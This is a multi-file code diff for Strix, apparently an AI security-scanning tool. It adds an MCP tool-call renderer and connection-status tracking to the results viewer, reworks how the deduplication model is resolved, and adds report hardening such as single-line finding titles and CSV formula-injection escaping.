/**
|
||||
* A call to a tool from one of the MCP servers the user connected.
|
||||
*
|
||||
* Deliberately the same shape as the terminal: the tool's own name, the server
|
||||
* it went to, the arguments one per line, and a status. The result is not shown.
|
||||
* These payloads are routinely thousands of characters of JSON that say nothing a
|
||||
* reader wants at this point in the transcript, and the agent narrates what it
|
||||
* learned in its next message. A failure is the exception, because that is what
|
||||
* someone is looking for when a step did not work; it renders as inert text,
|
||||
* never as markdown, since it came from a server outside Strix.
|
||||
*
|
||||
* The full result is still in the run's event data on disk either way.
|
||||
*
|
||||
* list_mcps is the other exception: its result is the engine's own inventory of
|
||||
* the run's connections (names and tool counts), short and assembled by Strix
|
||||
* rather than returned by an outside server, so it is shown inline.
|
||||
*/
|
||||
|
||||
/** Arguments one line each, as the terminal prints them. */
|
||||
function argLines(args: unknown): string[] {
|
||||
if (!args || typeof args !== "object" || Array.isArray(args)) return [];
|
||||
return Object.entries(args as Record<string, unknown>).map(([key, value]) => {
|
||||
const rendered = typeof value === "string" ? value : JSON.stringify(value);
|
||||
return `${key}: ${rendered ?? String(value)}`;
|
||||
});
|
||||
}
|
||||
|
||||
/** One connection out of a list_mcps inventory. */
|
||||
interface McpListingEntry {
|
||||
name: string;
|
||||
toolCount: number | null;
|
||||
dead: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* The connections out of a list_mcps result, which is
|
||||
* `{"connections": [{id, name, description, tool_count}, ...]}`, sometimes
|
||||
* arriving JSON-encoded as a string. Anything else yields an empty list and the
|
||||
* row shows just the header and status. Unlike other MCP results this one is
|
||||
* safe to show: the engine assembled it from the run's own registered
|
||||
* connections, so it is short and never an outside server's payload. It still
|
||||
* renders as inert text.
|
||||
*/
|
||||
function listingEntries(result: unknown): McpListingEntry[] {
|
||||
let value = result;
|
||||
if (typeof value === "string") {
|
||||
try {
|
||||
value = JSON.parse(value);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
const connections =
|
||||
value && typeof value === "object" && !Array.isArray(value)
|
||||
? (value as Record<string, unknown>).connections
|
||||
: null;
|
||||
if (!Array.isArray(connections)) return [];
|
||||
return connections.flatMap((entry) => {
|
||||
if (!entry || typeof entry !== "object" || Array.isArray(entry)) return [];
|
||||
const record = entry as Record<string, unknown>;
|
||||
const name =
|
||||
typeof record.name === "string" && record.name.trim()
|
||||
? record.name.trim()
|
||||
: typeof record.id === "string"
|
||||
? record.id.trim()
|
||||
: "";
|
||||
if (!name) return [];
|
||||
const toolCount = typeof record.tool_count === "number" ? record.tool_count : null;
|
||||
const dead = record.dead === true;
|
||||
return [{ name, toolCount, dead }];
|
||||
});
|
||||
}
|
||||
|
||||
const MAX_ERROR_CHARS = 600;
|
||||
|
||||
function errorText(result: unknown): string | null {
|
||||
if (typeof result === "string") {
|
||||
const trimmed = result.trim();
|
||||
if (!trimmed) return null;
|
||||
return trimmed.length > MAX_ERROR_CHARS ? `${trimmed.slice(0, MAX_ERROR_CHARS)}…` : trimmed;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export default function McpRenderer({
|
||||
toolName,
|
||||
mcpTool,
|
||||
mcpConnection,
|
||||
args,
|
||||
result,
|
||||
status,
|
||||
}: ToolRendererProps) {
|
||||
const lines = argLines(args);
|
||||
const failed = status === "failed" || status === "error";
|
||||
const error = failed ? errorText(result) : null;
|
||||
// describe_mcp inspects a connection's catalog rather than calling a tool on
|
||||
// it, so the connection is the subject and there is no underlying tool.
|
||||
const inspecting = toolName === "describe_mcp";
|
||||
// list_mcps inventories every connection rather than touching one, so it
|
||||
// carries no connection at all and is routed here by name instead.
|
||||
const listing = toolName === "list_mcps";
|
||||
const entries = listing ? listingEntries(result) : [];
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2 flex-wrap">
|
||||
{listing ? (
|
||||
<span className="text-[13px] text-[#555]">Listing connected MCP servers</span>
|
||||
) : inspecting ? (
|
||||
<>
|
||||
<span className="text-[13px] text-[#555]">Inspecting MCP server</span>
|
||||
{mcpConnection && (
|
||||
<span className="font-mono text-teal-300 font-semibold text-sm">{mcpConnection}</span>
|
||||
)}
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<span className="font-mono text-teal-300 font-semibold text-sm">
|
||||
{mcpTool || toolName}
|
||||
</span>
|
||||
<span className="text-[13px] text-[#555]">via MCP server</span>
|
||||
{mcpConnection && <span className="text-[13px] text-teal-400/80">{mcpConnection}</span>}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{lines.length > 0 && (
|
||||
<div className="mt-1 font-mono text-[13px] leading-relaxed">
|
||||
{lines.map((line) => (
|
||||
<div key={line} className="text-[#777] break-all">
|
||||
{line}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{entries.length > 0 && (
|
||||
<div className="mt-1 font-mono text-[13px] leading-relaxed">
|
||||
{entries.map((entry) => (
|
||||
<div key={entry.name} className={`break-all${entry.dead ? " opacity-50" : ""}`}>
|
||||
<span className="text-teal-300">{entry.name}</span>
|
||||
{entry.dead ? (
|
||||
<span className="text-red-400/80"> · offline</span>
|
||||
) : (
|
||||
entry.toolCount !== null && (
|
||||
<span className="text-[#555]">
|
||||
{" "}
|
||||
· {entry.toolCount} {entry.toolCount === 1 ? "tool" : "tools"}
|
||||
</span>
|
||||
)
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="mt-1 text-[13px]">
|
||||
{status === "running" && <span className="text-[#666]">Running</span>}
|
||||
{status === "completed" && <span className="text-emerald-400/80">✓ Done</span>}
|
||||
{failed && <span className="text-red-400/80">✗ Failed</span>}
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<pre className="mt-1 font-mono text-[13px] leading-relaxed whitespace-pre-wrap break-words text-red-400/70">
|
||||
{error}
|
||||
</pre>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -16,13 +16,6 @@ const ACTION_LABELS: Record<string, { label: string; Icon: typeof Crosshair }> =
|
||||
amend_threat_model: { label: "Threat model amended", Icon: Plus },
|
||||
};
|
||||
|
||||
/** A git sha is noise past its first bytes, and "unversioned" is not a revision. */
|
||||
function shortRevision(revision: unknown): string {
|
||||
const value = typeof revision === "string" ? revision.trim() : "";
|
||||
if (!value || value === "unversioned") return "";
|
||||
return value.slice(0, 8);
|
||||
}
|
||||
|
||||
export default function ThreatModelRenderer({ toolName, args, result }: ToolRendererProps) {
|
||||
const action = ACTION_LABELS[toolName] ?? { label: "Threat model", Icon: Crosshair };
|
||||
const ActionIcon = action.Icon;
|
||||
@@ -59,22 +52,15 @@ export default function ThreatModelRenderer({ toolName, args, result }: ToolRend
|
||||
return (
|
||||
<div>
|
||||
{header}
|
||||
<div className="mt-1.5 text-[#555] text-xs">No model cached for this target yet</div>
|
||||
<div className="mt-1.5 text-[#555] text-xs">No model derived for this target yet</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
const rawAmendments = structured?.amendments;
|
||||
const amendments: Amendment[] = Array.isArray(rawAmendments) ? (rawAmendments as Amendment[]) : [];
|
||||
const cachedRevision = shortRevision(structured?.cached_revision);
|
||||
return (
|
||||
<div>
|
||||
{header}
|
||||
{structured?.stale === true && (
|
||||
<div className="mt-1.5 flex items-center gap-1.5 text-yellow-400/80 text-xs">
|
||||
<AlertTriangle className="w-3 h-3 shrink-0" />
|
||||
<span>stale{cachedRevision ? ` — written at ${cachedRevision}` : ""}</span>
|
||||
</div>
|
||||
)}
|
||||
{amendments.length > 0 && (
|
||||
<div className="mt-2">
|
||||
<span className="text-amber-400/70 text-xs font-semibold">
|
||||
@@ -119,12 +105,10 @@ export default function ThreatModelRenderer({ toolName, args, result }: ToolRend
|
||||
}
|
||||
|
||||
const cleared = (structured?.amendments_cleared as number | undefined) ?? 0;
|
||||
const revision = shortRevision(structured?.revision);
|
||||
const content = (args.content as string) ?? "";
|
||||
return (
|
||||
<div>
|
||||
{header}
|
||||
{revision && <div className="mt-1.5 text-[#666] font-mono text-xs">at {revision}</div>}
|
||||
{/* Saving folds amendments away — the one destructive thing this tool does. */}
|
||||
{cleared > 0 && (
|
||||
<div className="mt-1.5 flex items-center gap-1.5 text-yellow-400/80 text-xs">
|
||||
|
||||
@@ -3,7 +3,7 @@ import type { ToolRendererProps } from "@/types/events";
|
||||
import {
|
||||
Terminal, Globe, FileText, ShieldAlert, ArrowUpRight, Brain,
|
||||
Bot, MessageCircle, Flag, Eye, Search, Code, StickyNote,
|
||||
ListTodo, Crosshair, Wrench, Ban, Image, ClipboardList,
|
||||
ListTodo, Crosshair, Wrench, Ban, Image, ClipboardList, Plug,
|
||||
} from "lucide-react";
|
||||
|
||||
import TerminalRenderer from "./TerminalRenderer";
|
||||
@@ -27,6 +27,7 @@ import LoadSkillRenderer from "./LoadSkillRenderer";
|
||||
import RespondRenderer from "./RespondRenderer";
|
||||
import CoverageRenderer from "./CoverageRenderer";
|
||||
import ThreatModelRenderer from "./ThreatModelRenderer";
|
||||
import McpRenderer from "./McpRenderer";
|
||||
|
||||
/**
|
||||
* Tool-renderer mapping — data-driven, keyed by the engine's tool *family*.
|
||||
@@ -57,7 +58,8 @@ export type ToolCategory =
|
||||
| "todos"
|
||||
| "coverage"
|
||||
| "threatModel"
|
||||
| "telemetry";
|
||||
| "telemetry"
|
||||
| "mcp";
|
||||
|
||||
export interface ToolIconMeta {
|
||||
icon: ComponentType<{ className?: string }>;
|
||||
@@ -90,6 +92,11 @@ const CATEGORY_META: Record<ToolCategory, CategoryMeta> = {
|
||||
coverage: { renderer: CoverageRenderer, icon: ClipboardList, color: "text-cyan-400", match: /coverage/ },
|
||||
threatModel: { renderer: ThreatModelRenderer, icon: Crosshair, color: "text-blue-400", match: /threat_model/ },
|
||||
telemetry: { renderer: FallbackRenderer, icon: Wrench, color: "text-[#555]" },
|
||||
// Tools from the user's own MCP servers. Resolved from the connection on the
|
||||
// event rather than from a tool name — except list_mcps, the engine's
|
||||
// inventory of every connection, which touches none and so carries no
|
||||
// connection to resolve from; it is the family's one name below.
|
||||
mcp: { renderer: McpRenderer, icon: Plug, color: "text-teal-400" },
|
||||
};
|
||||
|
||||
/**
|
||||
@@ -123,6 +130,7 @@ const CATEGORY_TOOLS: Record<ToolCategory, readonly string[]> = {
|
||||
// Per-target threat model, shared across the agent tree
|
||||
threatModel: ["get_threat_model", "save_threat_model", "amend_threat_model"],
|
||||
telemetry: ["sandbox_error_details", "llm_error_details"],
|
||||
mcp: ["list_mcps"],
|
||||
};
|
||||
|
||||
/** Reverse index (tool name → family), built once from CATEGORY_TOOLS. */
|
||||
@@ -173,14 +181,27 @@ function resolveCategory(toolName: string): ToolCategory | null {
|
||||
return null;
|
||||
}
|
||||
|
||||
export function getToolRenderer(toolName: string): ComponentType<ToolRendererProps> {
|
||||
/**
|
||||
* A call to a tool from one of the user's MCP servers is placed by the
|
||||
* connection it was tagged with, ahead of every name-keyed lookup below. Every
|
||||
* MCP call goes through the `call_mcp` / `describe_mcp` dispatch tools, so the
|
||||
* connection tag, not the tool name, is what routes it to the MCP renderer.
|
||||
*/
|
||||
export function getToolRenderer(
|
||||
toolName: string,
|
||||
mcpConnection?: string | null
|
||||
): ComponentType<ToolRendererProps> {
|
||||
if (mcpConnection) return CATEGORY_META.mcp.renderer;
|
||||
const override = RENDERER_OVERRIDES[toolName];
|
||||
if (override) return override;
|
||||
const category = resolveCategory(toolName);
|
||||
return category ? CATEGORY_META[category].renderer : FallbackRenderer;
|
||||
}
|
||||
|
||||
export function getToolIcon(toolName: string): ToolIconMeta {
|
||||
export function getToolIcon(toolName: string, mcpConnection?: string | null): ToolIconMeta {
|
||||
if (mcpConnection) {
|
||||
return { icon: CATEGORY_META.mcp.icon, color: CATEGORY_META.mcp.color };
|
||||
}
|
||||
const override = ICON_OVERRIDES[toolName];
|
||||
if (override) return override;
|
||||
const category = resolveCategory(toolName);
|
||||
|
||||
@@ -39,6 +39,39 @@ export interface Transcript {
|
||||
events: TranscriptEvent[];
|
||||
}
|
||||
|
||||
/**
|
||||
* One MCP connection's non-secret status, as persisted to run.json by the
|
||||
* engine under `mcp_connection_status` and surfaced verbatim by GET /api/run.
|
||||
* Only name / provider / tool_count / dead ride here; never config, url, or
|
||||
* token. `dead` means the connection's live session gave up reconnecting.
|
||||
*/
|
||||
export interface McpConnectionStatus {
|
||||
name: string;
|
||||
provider: string | null;
|
||||
toolCount: number;
|
||||
dead: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Read the MCP connection roster out of a raw run record. Tolerates the field
|
||||
* being absent (older runs, or a run with no MCP) and any malformed entry,
|
||||
* yielding an empty list rather than throwing.
|
||||
*/
|
||||
export function parseMcpConnectionStatus(raw: Record<string, unknown>): McpConnectionStatus[] {
|
||||
const list = raw?.mcp_connection_status;
|
||||
if (!Array.isArray(list)) return [];
|
||||
return list.flatMap((entry) => {
|
||||
if (!entry || typeof entry !== "object" || Array.isArray(entry)) return [];
|
||||
const record = entry as Record<string, unknown>;
|
||||
const name = typeof record.name === "string" ? record.name.trim() : "";
|
||||
if (!name) return [];
|
||||
const provider = typeof record.provider === "string" && record.provider.trim() ? record.provider.trim() : null;
|
||||
const toolCount = typeof record.tool_count === "number" ? record.tool_count : 0;
|
||||
const dead = record.dead === true;
|
||||
return [{ name, provider, toolCount, dead }];
|
||||
});
|
||||
}
|
||||
|
||||
export interface LoadedRun {
|
||||
summary: ParsedRunSummary;
|
||||
/** Whole raw run record (for llm_usage, targets_info details, etc.). */
|
||||
|
||||
@@ -99,4 +99,13 @@ export interface ToolRendererProps {
|
||||
args: Record<string, unknown>;
|
||||
result: unknown;
|
||||
status: "running" | "completed" | "failed" | "error";
|
||||
/**
|
||||
* Set only on a call to a tool from an MCP server the user connected: the name
|
||||
* they gave that connection, and the server's own name for the tool. Every MCP
|
||||
* call goes through the `call_mcp` / `describe_mcp` dispatch tools, so the
|
||||
* engine reads both out of the call's arguments; `describe_mcp` inspects a
|
||||
* connection and leaves `mcpTool` empty.
|
||||
*/
|
||||
mcpConnection?: string | null;
|
||||
mcpTool?: string | null;
|
||||
}
|
||||
|
||||
10
strix/interface/viewer/static/assets/index-Ccea__Xc.css
Normal file
10
strix/interface/viewer/static/assets/index-Ccea__Xc.css
Normal file
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -6,8 +6,8 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="color-scheme" content="dark" />
|
||||
<title>Strix Results</title>
|
||||
<script type="module" crossorigin src="./assets/index-Bi_X6kI3.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-g-_6CcwH.css">
|
||||
<script type="module" crossorigin src="./assets/index-DD3_cI9L.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-Ccea__Xc.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
|
||||
@@ -18,6 +18,8 @@ logger = logging.getLogger(__name__)
|
||||
_STRIPPABLE_PREFIXES = (
|
||||
"openai/",
|
||||
"chatgpt/",
|
||||
"opencode-go/",
|
||||
"opencode/",
|
||||
"litellm/",
|
||||
"any-llm/",
|
||||
"ollama/",
|
||||
@@ -48,7 +50,11 @@ def _model_info(model: str) -> dict[str, int]:
|
||||
lookup_key = _lookup_key(model)
|
||||
# Provider-qualified ChatGPT lookups may start a synchronous device-login
|
||||
# poll. LiteLLM keys the metadata by the underlying model slug.
|
||||
candidates = (lookup_key,) if model.startswith("chatgpt/") else (model, lookup_key)
|
||||
candidates = (
|
||||
(lookup_key,)
|
||||
if model.startswith(("chatgpt/", "opencode/", "opencode-go/"))
|
||||
else (model, lookup_key)
|
||||
)
|
||||
for candidate in candidates:
|
||||
info = _safe_get_model_info(candidate)
|
||||
if info is not None:
|
||||
|
||||
@@ -14,6 +14,7 @@ from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import logging
|
||||
import sys
|
||||
import threading
|
||||
|
||||
|
||||
@@ -30,12 +31,38 @@ _lock = threading.Lock()
|
||||
_thread: threading.Thread | None = None
|
||||
|
||||
|
||||
def _purge_orphaned_modules(before: frozenset[str]) -> None:
|
||||
"""Remove submodules stranded by an import attempt that just failed.
|
||||
|
||||
When a package import fails partway (for example CPython's import-lock
|
||||
deadlock avoidance breaking a cross-thread cycle), the failed package is
|
||||
removed from ``sys.modules`` but submodules it already finished stay
|
||||
behind. A later import of one of those submodules then short-circuits on
|
||||
the cached entry without re-importing its parent, and re-entering the
|
||||
parent from inside a submodule crashes with "partially initialized
|
||||
module". Dropping the orphans (cached submodules whose ancestor package is
|
||||
gone) restores a clean slate, and touches nothing another thread imported
|
||||
successfully.
|
||||
"""
|
||||
added = set(sys.modules) - before
|
||||
for name in added:
|
||||
parent = name.rpartition(".")[0]
|
||||
while parent:
|
||||
if parent not in sys.modules:
|
||||
sys.modules.pop(name, None)
|
||||
logger.debug("Import warm-up purged orphaned module %r", name)
|
||||
break
|
||||
parent = parent.rpartition(".")[0]
|
||||
|
||||
|
||||
def _warm(modules: tuple[str, ...]) -> None:
|
||||
for name in modules:
|
||||
before = frozenset(sys.modules)
|
||||
try:
|
||||
importlib.import_module(name)
|
||||
except Exception: # noqa: BLE001 - a failed warm-up must never fail the run.
|
||||
logger.debug("Import warm-up for %r failed", name, exc_info=True)
|
||||
_purge_orphaned_modules(before)
|
||||
|
||||
|
||||
def start_import_warmup(modules: tuple[str, ...] = WARMUP_MODULES) -> threading.Thread:
|
||||
|
||||
@@ -1,12 +1,26 @@
|
||||
"""Report/finding helpers."""
|
||||
|
||||
from strix.report.dedupe import check_duplicate
|
||||
from importlib import import_module
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from strix.report.state import ReportState, get_global_report_state, set_global_report_state
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from strix.report.dedupe import check_duplicate
|
||||
|
||||
__all__ = [
|
||||
"ReportState",
|
||||
"check_duplicate",
|
||||
"get_global_report_state",
|
||||
"set_global_report_state",
|
||||
]
|
||||
|
||||
|
||||
def __getattr__(name: str) -> Any:
|
||||
# check_duplicate pulls in the agents SDK import graph, so it resolves
|
||||
# lazily: importing this package must stay lightweight and never enter
|
||||
# that graph (the import warm-up thread may be walking it concurrently).
|
||||
if name == "check_duplicate":
|
||||
return import_module("strix.report.dedupe").check_duplicate
|
||||
raise AttributeError(name)
|
||||
|
||||
@@ -7,7 +7,6 @@ import logging
|
||||
import re
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.interface import ModelTracing
|
||||
from openai.types.responses import ResponseOutputMessage
|
||||
|
||||
@@ -22,6 +21,8 @@ from strix.report.state import get_global_report_state
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from agents.items import ModelResponse
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.interface import Model
|
||||
|
||||
from strix.config.settings import DedupeSettings
|
||||
|
||||
@@ -29,30 +30,11 @@ if TYPE_CHECKING:
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _dedupe_extra_args(dedupe: DedupeSettings) -> dict[str, str]:
|
||||
"""Per-call credential + endpoint for the dedupe model.
|
||||
|
||||
Provider env vars and the global base URL are process-wide, so a
|
||||
shared-provider dedupe key or a distinct dedupe endpoint can't be installed
|
||||
globally without clobbering (or being clobbered by) the main model's
|
||||
config. Passing them per call keeps the two apart. Only applies when a
|
||||
dedicated dedupe model is configured.
|
||||
"""
|
||||
if not dedupe.model:
|
||||
return {}
|
||||
extra: dict[str, str] = {}
|
||||
if dedupe.api_key and dedupe.api_key.strip():
|
||||
extra["api_key"] = dedupe.api_key.strip()
|
||||
if dedupe.api_base and dedupe.api_base.strip():
|
||||
extra["api_base"] = dedupe.api_base.strip()
|
||||
return extra
|
||||
|
||||
|
||||
def _dedupe_model_settings(
|
||||
dedupe: DedupeSettings, model_name: str, request_timeout: float | None
|
||||
) -> ModelSettings:
|
||||
llm = load_settings().llm
|
||||
settings = make_model_settings(
|
||||
return make_model_settings(
|
||||
dedupe.reasoning_effort,
|
||||
model_name=model_name,
|
||||
force_required_tool_choice=False,
|
||||
@@ -64,10 +46,21 @@ def _dedupe_model_settings(
|
||||
extra_headers=dedupe.extra_headers if dedupe.model else llm.extra_headers,
|
||||
has_tools=False,
|
||||
)
|
||||
extra = _dedupe_extra_args(dedupe)
|
||||
if extra:
|
||||
settings = settings.resolve(ModelSettings(extra_args=extra))
|
||||
return settings
|
||||
|
||||
|
||||
def resolve_dedupe_model(dedupe: DedupeSettings, model_name: str) -> Model:
|
||||
"""Resolve the dedupe model, bound to its own endpoint when it has one.
|
||||
|
||||
Credentials can't ride on the request: every model implementation already
|
||||
passes its own ``api_key``/``base_url``, so the same keys in ``extra_args``
|
||||
collide with them and raise before anything is sent. A provider bound to the
|
||||
dedupe endpoint keeps it apart from the main model's process-wide defaults.
|
||||
"""
|
||||
api_key = (dedupe.api_key or "").strip() if dedupe.model else ""
|
||||
api_base = (dedupe.api_base or "").strip() if dedupe.model else ""
|
||||
if not (api_key or api_base):
|
||||
return StrixProvider().get_model(model_name)
|
||||
return StrixProvider(api_key=api_key or None, base_url=api_base or None).get_model(model_name)
|
||||
|
||||
|
||||
DEDUPE_SYSTEM_PROMPT = """You are an expert vulnerability report deduplication judge.
|
||||
@@ -371,7 +364,7 @@ async def check_duplicate(
|
||||
|
||||
configure_sdk_model_defaults(settings)
|
||||
resolved_model = model_name.strip()
|
||||
model = StrixProvider().get_model(resolved_model)
|
||||
model = resolve_dedupe_model(dedupe, resolved_model)
|
||||
response = await model.get_response(
|
||||
system_instructions=DEDUPE_SYSTEM_PROMPT,
|
||||
input=user_msg,
|
||||
|
||||
@@ -1,23 +1,21 @@
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import subprocess
|
||||
import threading
|
||||
from collections.abc import Callable
|
||||
from datetime import UTC, datetime
|
||||
from importlib.metadata import PackageNotFoundError, version
|
||||
from pathlib import Path
|
||||
from typing import Any, Optional, cast
|
||||
from typing import TYPE_CHECKING, Any, Optional, cast
|
||||
from uuid import uuid4
|
||||
|
||||
from agents.usage import Usage
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config import opencode
|
||||
from strix.config.loader import load_settings
|
||||
from strix.core.paths import run_dir_for, runtime_state_dir
|
||||
from strix.report.coverage import write_coverage
|
||||
from strix.report.pricing import resolve_litellm_model
|
||||
from strix.report.sarif import write_sarif
|
||||
from strix.report.usage import LLMUsageLedger
|
||||
from strix.report.writer import (
|
||||
read_run_record,
|
||||
write_executive_report,
|
||||
@@ -27,10 +25,16 @@ from strix.report.writer import (
|
||||
from strix.telemetry import posthog, scarf
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from agents.usage import Usage
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_global_report_state: Optional["ReportState"] = None
|
||||
|
||||
_CONTROL_CHARS = re.compile(r"[\x00-\x1f\x7f]+")
|
||||
|
||||
|
||||
def _strix_version() -> str | None:
|
||||
"""Best-effort package version for the SARIF tool.driver.version field."""
|
||||
@@ -40,6 +44,17 @@ def _strix_version() -> str | None:
|
||||
return None
|
||||
|
||||
|
||||
def _clean_title(title: str) -> str:
|
||||
"""Return a single-line finding title.
|
||||
|
||||
A title quotes text from the scanned target, so it can carry newlines, tabs or
|
||||
other control characters. Those break every artifact that renders the title on
|
||||
one line, such as the markdown heading, the CSV cell and the TUI list. Control
|
||||
characters become spaces and runs of whitespace collapse to one space.
|
||||
"""
|
||||
return " ".join(_CONTROL_CHARS.sub(" ", title).split())
|
||||
|
||||
|
||||
def _number(value: Any) -> int | float:
|
||||
try:
|
||||
return float(value or 0)
|
||||
@@ -131,10 +146,19 @@ class ReportState:
|
||||
|
||||
self.scan_results: dict[str, Any] | None = None
|
||||
self.scan_config: dict[str, Any] | None = None
|
||||
# Imported here so importing this module never enters the agents SDK
|
||||
# package (which the warm-up thread may be initializing concurrently).
|
||||
from strix.report.usage import LLMUsageLedger
|
||||
|
||||
self._llm_usage = LLMUsageLedger()
|
||||
self._telemetry_llm_usage_baseline: dict[str, Any] = {}
|
||||
auth_mode = codex.auth_mode(load_settings().llm.model)
|
||||
self._llm_usage.zero_cost = auth_mode == "subscription"
|
||||
auth_mode = opencode.auth_mode(load_settings().llm.model)
|
||||
oc = opencode.subscription_model(load_settings().llm.model)
|
||||
# A flat subscription has no per-run charge to report. Zen bills prepaid
|
||||
# credits per request, so its cost is real and stays tracked.
|
||||
self._llm_usage.zero_cost = auth_mode == "subscription" and not (
|
||||
oc is not None and oc.metered
|
||||
)
|
||||
self.run_record: dict[str, Any] = {
|
||||
"run_id": self.run_id,
|
||||
"run_name": self.run_name,
|
||||
@@ -142,6 +166,8 @@ class ReportState:
|
||||
"end_time": None,
|
||||
"status": "running",
|
||||
"auth_mode": auth_mode,
|
||||
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
|
||||
"subscription_plan": opencode.subscription_plan(load_settings().llm.model),
|
||||
"targets_info": [],
|
||||
"llm_usage": self._build_llm_usage_record(),
|
||||
}
|
||||
@@ -217,8 +243,15 @@ class ReportState:
|
||||
)
|
||||
self.vulnerability_reports = [r for r in data if isinstance(r, dict)]
|
||||
for r in self.vulnerability_reports:
|
||||
title = r.get("title")
|
||||
stale_md = False
|
||||
if isinstance(title, str):
|
||||
r["title"] = _clean_title(title)
|
||||
stale_md = r["title"] != title
|
||||
rid = r.get("id")
|
||||
if isinstance(rid, str):
|
||||
# A finding already on disk keeps its markdown, unless cleaning
|
||||
# changed the title: the heading on disk then needs a rewrite.
|
||||
if isinstance(rid, str) and not stale_md:
|
||||
self._saved_vuln_ids.add(rid)
|
||||
logger.info(
|
||||
"report state hydrated %d vulnerability report(s)",
|
||||
@@ -261,7 +294,7 @@ class ReportState:
|
||||
|
||||
report: dict[str, Any] = {
|
||||
"id": report_id,
|
||||
"title": title.strip(),
|
||||
"title": _clean_title(title),
|
||||
"severity": severity.lower().strip(),
|
||||
"timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"),
|
||||
}
|
||||
@@ -338,7 +371,7 @@ class ReportState:
|
||||
self,
|
||||
*,
|
||||
agent_id: str,
|
||||
usage: Usage | None,
|
||||
usage: "Usage | None",
|
||||
agent_name: str | None = None,
|
||||
model: str | None = None,
|
||||
) -> None:
|
||||
@@ -404,6 +437,34 @@ class ReportState:
|
||||
posthog.end(self, exit_reason="finished_by_tool")
|
||||
scarf.end(self, exit_reason="finished_by_tool")
|
||||
|
||||
def record_mcp_connections(self, names: list[str]) -> None:
|
||||
"""Note the MCP servers this run connected, and persist it.
|
||||
|
||||
Saved as soon as the run connects rather than at the end, so an interface
|
||||
reading the record mid-run can already attribute a tool call to the
|
||||
server it went out to.
|
||||
"""
|
||||
if self.run_record.get("mcp_connections") == names:
|
||||
return
|
||||
self.run_record["mcp_connections"] = names
|
||||
self.save_run_data()
|
||||
|
||||
def record_mcp_connection_status(self, status: list[dict[str, Any]]) -> None:
|
||||
"""Persist the run's non-secret MCP connection status roster.
|
||||
|
||||
``status`` is one entry per connection carrying only ``name``,
|
||||
``provider``, ``tool_count``, and ``dead`` (no config, url, token, or
|
||||
auth). Saved as soon as the run connects and rewritten each time a
|
||||
connection dies, so the viewer, which rebuilds its display by re-reading
|
||||
the run's files from disk, can show a live connections panel and health
|
||||
without any in-memory event sink. Kept separate from the
|
||||
``mcp_connections`` name list so neither field repurposes the other.
|
||||
"""
|
||||
if self.run_record.get("mcp_connection_status") == status:
|
||||
return
|
||||
self.run_record["mcp_connection_status"] = status
|
||||
self.save_run_data()
|
||||
|
||||
def set_scan_config(self, config: dict[str, Any]) -> None:
|
||||
self.scan_config = config
|
||||
self.run_record["status"] = "running"
|
||||
|
||||
@@ -26,10 +26,33 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
|
||||
|
||||
_FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def csv_safe(value: object) -> str:
|
||||
"""Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
|
||||
|
||||
Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
|
||||
``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
|
||||
but has no notion of formula triggers, so such a value reaches the cell intact
|
||||
and is executed on open (CWE-1236). Vulnerability titles quote text from the
|
||||
scanned target, which is exactly the attacker-influenced input this guards
|
||||
against.
|
||||
|
||||
Prefixing with an apostrophe is the standard mitigation (OWASP): the rest of
|
||||
the cell is kept as literal text instead of being evaluated. Excel shows the
|
||||
apostrophe when it opens a ``.csv`` directly, which is cosmetic — the point is
|
||||
that nothing runs.
|
||||
"""
|
||||
text = str(value)
|
||||
if text.startswith(_CSV_FORMULA_PREFIXES):
|
||||
return "'" + text
|
||||
return text
|
||||
|
||||
|
||||
def safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
@@ -151,11 +174,11 @@ def write_vulnerabilities(
|
||||
for report in sorted_reports:
|
||||
csv_writer.writerow(
|
||||
{
|
||||
"id": report["id"],
|
||||
"title": report["title"],
|
||||
"severity": report["severity"].upper(),
|
||||
"timestamp": report["timestamp"],
|
||||
"file": f"vulnerabilities/{report['id']}.md",
|
